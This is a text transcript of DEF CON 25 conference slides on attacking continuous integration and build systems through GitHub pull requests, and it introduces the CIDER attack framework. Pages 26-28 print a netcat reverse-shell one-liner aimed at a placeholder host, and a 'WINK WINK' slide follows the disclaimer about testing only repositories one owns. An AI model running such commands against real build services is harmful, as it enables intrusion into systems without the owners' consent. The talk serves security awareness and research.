Top Banner
Exploiting Continuous Integration (CI) and Automated Build Systems And introducing CIDER
56

Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

May 22, 2020

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Exploiting Continuous Integration (CI) and

Automated Build Systems

And introducing CIDER

Page 2: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Whoami

• SpaceB0x• Sr.SecurityEngineeratLeanKit• Applicationandnetworksecurity(offenseanddefense)• Ilikebreakingintosystems,buildingsystems,andlearning• Securityconsultant

Page 3: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

./agenda.sh

• OverviewofContinuousIntegrationconcepts• ConfigurationVulnerabilitiesvs.ApplicationVulnerabilities• Realworldexploit#1• CommonBad-practices• Realworldexploit#2– AttackingtheCIprovider• IntroduceCIDER

Page 4: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ContinuousIntegration

Page 5: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ContinuousIntegration(CI)

• Quickiterativereleaseofcodetoproductionservers• UsuallyManyiterationsperweekorevenperday.• Repositorycentric• InsyncwithAutomatedBuild• Forinfrastructure/servers/subnetsetc.

Page 6: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Microservices

• Breakingdownlargeappintosmalldecoupledcomponents• Thesecomponentsinteractwitheachother• Eliminatessinglepointsoffailure• Autonomousdevelopment

Page 7: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

SecurityImplications

• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage

Page 8: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

SecurityImplications

• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage

• Bad- Fastreleasesometimesmeanshastyoversights• Bad– AutomatedDeploymentsystemsarechecked lessthanthecodethattheydeploy

Page 9: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Tools

Page 10: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

BuildSystems

• Takecodeandbuildconditionally• Typicallyinaquasicontainerizedtypeofenvironment• Bothlocalandcloudbasedarepopular

• Vendor:ØTravis-CIØCircle-CIØDroneØTeamCityØBuildKite

Page 11: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

DeploymentSystems

• Deploythecodeafterbuild• Headingmoreandmoretowardcontainerdriven

• VendorsØJenkinsØOctopusDeployØKubernetesØRancherØMesosphere

Page 12: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChainsofDeployment

Page 13: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChainsofDeployment

Page 14: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Chainsofdeployment

Page 15: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChecksintheSDLC

• Buildtestbeforemerges• Web-hookstriggerspecificactionsbasedonconditions• Servicesconfiguredwithoutregardtooneanother

Page 16: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ConfigurationProblems

Page 17: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

GitHub– Hugeattacksurface

• Pullrequestsandcommitstriggerbuilds• Buildconfigurationsnormallyinrootofrepo• Thusbuildconfig changecanbepartofPRorcommit• Gaincontrolofmultiplesystemsthroughpullrequests

Page 18: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

VulnerabilitiesareinMisconfiguration

• Creativeconfigurationexploitation• Vuln stackingatit’sfinest• Eachindividualservicemaybefunctioningexactlyasintended• Interactionbetweenservicesiswheremanyvulnerabilitieslie

Page 19: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ExternalRepos

• Mostvolatileattacksurface• Publicrepositorieswhichmaptointernalbuildservices

Page 20: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

RealWorldHax #1

Page 21: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 22: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 23: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 24: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 25: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 26: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p

Page 27: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

Page 28: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

nc –l 4444

Page 29: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

root

Page 30: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Bad-PracticesWorst-Practices

Page 31: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

EnvironmentVars

• Beingusedtostorecredentials• Storingmetadataforotherserviceswithinmicro-serviceinfrastructure

Page 32: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Runeverythingasroot

• Justacontainer,rightguyz?• Younowhaveinternalnetworkaccess• Fullcontroltobuildaugmenttheimage

Page 33: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIProviderInfoleak

• ProblemswiththeCIProvidersthemselves• LeakSSHkeys,etc.whichcancompromiseothercustomersonhost• CIprovidershaveatleastsomepermissionstoGitHubrepos• CloudbasedCIprovidershaveahostingenvironment• Speakingofwhich…

Page 34: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

RealWorldHax #2

Page 35: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 36: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 37: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

IntroducingCIDER

Page 38: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR

Page 39: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains

Page 40: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices

Page 41: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking

Page 42: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking• Itwillpoisonahandfulofbuildservicesand”exploits”foreachone

Page 43: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhyCIDER?

• Fun• Makeattackingeasy• Awareness• RottenApple by@claudijd• Facilitatefurtherresearch

Page 44: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDERoverview

Page 45: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘help’

Page 46: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘addtarget’&‘listtargets’

Page 47: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘load’and‘info’

Page 48: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDERfeatures

• Node.JS• Buildmodularly• Canhandlebulklistsoftargetrepos• CleanupforGitHubrepocraziness• Ngrok – becauseportforwardingandpublicIPssuck

Page 49: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Ngrok

Page 50: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Disclaimer

• ItisagainsttheGitHubuseragreementtotestagainstarepository,evenifyouhavepermissionfromtheowneroftherepo

• Youmustbetheownertotestarepo• Whentestingaskthemtomakeyouanowner

Page 51: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WINKWINK

Page 52: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

DEMO

Page 53: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Limitations

• BuildQueues• GitHubNoise• Timeouts• RepoAPIrequestthrottling

Page 54: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Justthebeginning…

• MoreCI-Frameworks• Starttacklingdeploymentservices• Startexploringotherentrypoints

• Othercoderepositories• ChatOps (Slack)

Page 55: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Thanks

• LeanKitOperationsTeam• EvanSnapp• @claudijd

Page 56: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Fin

CIDERonGithub: https://github.com/spaceB0x/cider

Twitter:@spaceB0xxwww.untamedtheory.com